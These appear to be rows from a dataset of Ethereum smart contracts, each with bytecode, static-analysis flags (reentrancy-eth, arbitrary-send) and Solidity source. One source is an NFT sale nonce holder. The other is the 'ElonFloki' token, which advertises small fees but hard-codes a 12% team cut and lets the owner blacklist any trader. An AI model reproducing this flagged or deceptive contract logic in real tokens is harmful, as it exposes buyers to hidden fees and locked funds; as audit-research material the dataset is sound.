020830187612b5d565b81810360408301526130418186612af0565b90506130506060830185612ae1565b61305d6080830184612d49565b9695505050505050565b600060208201905061307c6000830184612d58565b92915050565b600061308c61309d565b905061309882826132d7565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c2576130c16133af565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131338261327b565b915061313e8361327b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561317357613172613351565b5b828201905092915050565b60006131898261327b565b91506131948361327b565b9250826131a4576131a3613380565b5b828204905092915050565b60006131ba8261327b565b91506131c58361327b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fe576131fd613351565b5b828202905092915050565b60006132148261327b565b915061321f8361327b565b92508282101561323257613231613351565b5b828203905092915050565b60006132488261325b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329d8261327b565b9050919050565b60005b838110156132c25780820151818401526020810190506132a7565b838111156132d1576000848401525b50505050565b6132e0826133de565b810181811067ffffffffffffffff821117156132ff576132fe6133af565b5b80604052505050565b60006133138261327b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561334657613345613351565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ee8161323d565b81146136f957600080fd5b50565b6137058161324f565b811461371057600080fd5b50565b61371c8161327b565b811461372757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ca93a8e3be93158c7aadc83480526bf97ff00f62cb514f11b7267a4fbe7f811c64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,713 |
0x27C6f9FaD1CF3f6864Ab7DBA1b15fa79D1cd9331
|
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
contract IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of NFTs in `owner`'s account.
*/
function balanceOf(address owner) public view returns (uint256 balance);
/**
* @dev Returns the owner of the NFT specified by `tokenId`.
*/
function ownerOf(uint256 tokenId) public view returns (address owner);
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
*
*
* Requirements:
* - `from`, `to` cannot be zero.
* - `tokenId` must be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this
* NFT by either {approve} or {setApprovalForAll}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public;
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
* Requirements:
* - If the caller is not `from`, it must be approved to move this NFT by
* either {approve} or {setApprovalForAll}.
*/
function transferFrom(address from, address to, uint256 tokenId) public;
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
contract IERC721Sale {
function getNonce(IERC721 token, uint256 tokenId) view public returns (uint256);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract OperatorRole is Context {
using Roles for Roles.Role;
event OperatorAdded(address indexed account);
event OperatorRemoved(address indexed account);
Roles.Role private _operators;
constructor () internal {
}
modifier onlyOperator() {
require(isOperator(_msgSender()), "OperatorRole: caller does not have the Operator role");
_;
}
function isOperator(address account) public view returns (bool) {
return _operators.has(account);
}
function _addOperator(address account) internal {
_operators.add(account);
emit OperatorAdded(account);
}
function _removeOperator(address account) internal {
_operators.remove(account);
emit OperatorRemoved(account);
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract OwnableOperatorRole is Ownable, OperatorRole {
function addOperator(address account) public onlyOwner {
_addOperator(account);
}
function removeOperator(address account) public onlyOwner {
_removeOperator(account);
}
}
contract ERC721SaleNonceHolder is OwnableOperatorRole {
mapping(bytes32 => uint256) public nonces;
IERC721Sale public previous;
constructor(IERC721Sale _previous) public {
previous = _previous;
}
function getNonce(IERC721 token, uint256 tokenId) view public returns (uint256) {
uint256 newNonce = nonces[getPositionKey(token, tokenId)];
if (newNonce != 0) {
return newNonce;
}
if (address(previous) == address(0x0)) {
return 0;
}
return previous.getNonce(token, tokenId);
}
function setNonce(IERC721 token, uint256 tokenId, uint256 nonce) public onlyOperator {
nonces[getPositionKey(token, tokenId)] = nonce;
}
function getPositionKey(IERC721 token, uint256 tokenId) pure public returns (bytes32) {
return keccak256(abi.encodePacked(token, tokenId));
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80639870d7fe116100715780639870d7fe1461016f5780639e317f1214610195578063ac8a584a146101b2578063dd68c1e2146101d8578063e330a93514610204578063f2fde38b14610236576100b4565b80636d70f7ae146100b9578063715018a6146100f35780637c2b2e71146100fd57806389535803146101215780638da5cb5b1461015f5780638f32d59b14610167575b600080fd5b6100df600480360360208110156100cf57600080fd5b50356001600160a01b031661025c565b604080519115158252519081900360200190f35b6100fb610275565b005b610105610306565b604080516001600160a01b039092168252519081900360200190f35b61014d6004803603604081101561013757600080fd5b506001600160a01b038135169060200135610315565b60408051918252519081900360200190f35b6101056103e8565b6100df6103f7565b6100fb6004803603602081101561018557600080fd5b50356001600160a01b031661041b565b61014d600480360360208110156101ab57600080fd5b503561046e565b6100fb600480360360208110156101c857600080fd5b50356001600160a01b0316610480565b61014d600480360360408110156101ee57600080fd5b506001600160a01b0381351690602001356104d0565b6100fb6004803603606081101561021a57600080fd5b506001600160a01b038135169060208101359060400135610514565b6100fb6004803603602081101561024c57600080fd5b50356001600160a01b0316610584565b600061026f60018363ffffffff6105d416565b92915050565b61027d6103f7565b6102bc576040805162461bcd60e51b815260206004820181905260248201526000805160206108d3833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6003546001600160a01b031681565b6000806002600061032686866104d0565b81526020019081526020016000205490508060001461034657905061026f565b6003546001600160a01b031661036057600091505061026f565b60035460408051638953580360e01b81526001600160a01b03878116600483015260248201879052915191909216916389535803916044808301926020929190829003018186803b1580156103b457600080fd5b505afa1580156103c8573d6000803e3d6000fd5b505050506040513d60208110156103de57600080fd5b5051949350505050565b6000546001600160a01b031690565b600080546001600160a01b031661040c61063b565b6001600160a01b031614905090565b6104236103f7565b610462576040805162461bcd60e51b815260206004820181905260248201526000805160206108d3833981519152604482015290519081900360640190fd5b61046b8161063f565b50565b60026020526000908152604090205481565b6104886103f7565b6104c7576040805162461bcd60e51b815260206004820181905260248201526000805160206108d3833981519152604482015290519081900360640190fd5b61046b81610687565b6040805160609390931b6bffffffffffffffffffffffff19166020808501919091526034808501939093528151808503909301835260549093019052805191012090565b61052461051f61063b565b61025c565b61055f5760405162461bcd60e51b815260040180806020018281038252603481526020018061087e6034913960400191505060405180910390fd5b806002600061056e86866104d0565b8152602081019190915260400160002055505050565b61058c6103f7565b6105cb576040805162461bcd60e51b815260206004820181905260248201526000805160206108d3833981519152604482015290519081900360640190fd5b61046b816106cf565b60006001600160a01b03821661061b5760405162461bcd60e51b81526004018080602001828103825260228152602001806108f36022913960400191505060405180910390fd5b506001600160a01b03166000908152602091909152604090205460ff1690565b3390565b61065060018263ffffffff61076f16565b6040516001600160a01b038216907fac6fa858e9350a46cec16539926e0fde25b7629f84b5a72bffaae4df888ae86d90600090a250565b61069860018263ffffffff6107f016565b6040516001600160a01b038216907f80c0b871b97b595b16a7741c1b06fed0c6f6f558639f18ccbce50724325dc40d90600090a250565b6001600160a01b0381166107145760405162461bcd60e51b81526004018080602001828103825260268152602001806108586026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b61077982826105d4565b156107cb576040805162461bcd60e51b815260206004820152601f60248201527f526f6c65733a206163636f756e7420616c72656164792068617320726f6c6500604482015290519081900360640190fd5b6001600160a01b0316600090815260209190915260409020805460ff19166001179055565b6107fa82826105d4565b6108355760405162461bcd60e51b81526004018080602001828103825260218152602001806108b26021913960400191505060405180910390fd5b6001600160a01b0316600090815260209190915260409020805460ff1916905556fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f70657261746f72526f6c653a2063616c6c657220646f6573206e6f74206861766520746865204f70657261746f7220726f6c65526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572526f6c65733a206163636f756e7420697320746865207a65726f2061646472657373a265627a7a72315820e6c27e9f7dde365ee014776f22c3aa9ee9d0ef51a398b16f890f6243ad4bdb6664736f6c63430005100032
|
{"success": true, "error": null, "results": {}}
| 3,714 |
0x7264dceb9697b9d61296ec94518c35253c9427fb
|
/**
*Submitted for verification at Etherscan.io on 2021-06-25
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-23
*/
//ElonFloki (ElonFloki)
//Elon Musk's SHIB name is Floki
//Powerful Bot Protect yes
//2% Deflationary yes
//Telegram: https://t.me/ElonFlokiOfficial
//CG, CMC listing: Ongoing
//Fair Launch
//Community Driven - 100% Community Owned!
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ElonFloki is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ElonFloki | t.me/ElonFlokiOfficial";
string private constant _symbol = "ElonFloki\xF0\x9F\x90\x95";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 3;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 3;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(6).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 12);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ee6565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a09565b610441565b6040516101789190612ecb565b60405180910390f35b34801561018d57600080fd5b5061019661045f565b6040516101a39190613088565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129ba565b610470565b6040516101e09190612ecb565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061292c565b610549565b005b34801561021e57600080fd5b50610227610639565b60405161023491906130fd565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a86565b610642565b005b34801561027257600080fd5b5061027b6106f4565b005b34801561028957600080fd5b506102a4600480360381019061029f919061292c565b610766565b6040516102b19190613088565b60405180910390f35b3480156102c657600080fd5b506102cf6107b7565b005b3480156102dd57600080fd5b506102e661090a565b6040516102f39190612dfd565b60405180910390f35b34801561030857600080fd5b50610311610933565b60405161031e9190612ee6565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a09565b610970565b60405161035b9190612ecb565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a45565b61098e565b005b34801561039957600080fd5b506103a2610ade565b005b3480156103b057600080fd5b506103b9610b58565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad8565b6110b4565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061297e565b6111fd565b6040516104189190613088565b60405180910390f35b60606040518060600160405280602281526020016137e960229139905090565b600061045561044e611284565b848461128c565b6001905092915050565b6000683635c9adc5dea00000905090565b600061047d848484611457565b61053e84610489611284565b610539856040518060600160405280602881526020016137c160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ef611284565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c169092919063ffffffff16565b61128c565b600190509392505050565b610551611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d590612fc8565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61064a611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ce90612fc8565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610735611284565b73ffffffffffffffffffffffffffffffffffffffff161461075557600080fd5b600047905061076381611c7a565b50565b60006107b0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d9b565b9050919050565b6107bf611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084390612fc8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600d81526020017f456c6f6e466c6f6b69f09f909500000000000000000000000000000000000000815250905090565b600061098461097d611284565b8484611457565b6001905092915050565b610996611284565b73ffffffffffffffffffffffffffffffffffffffff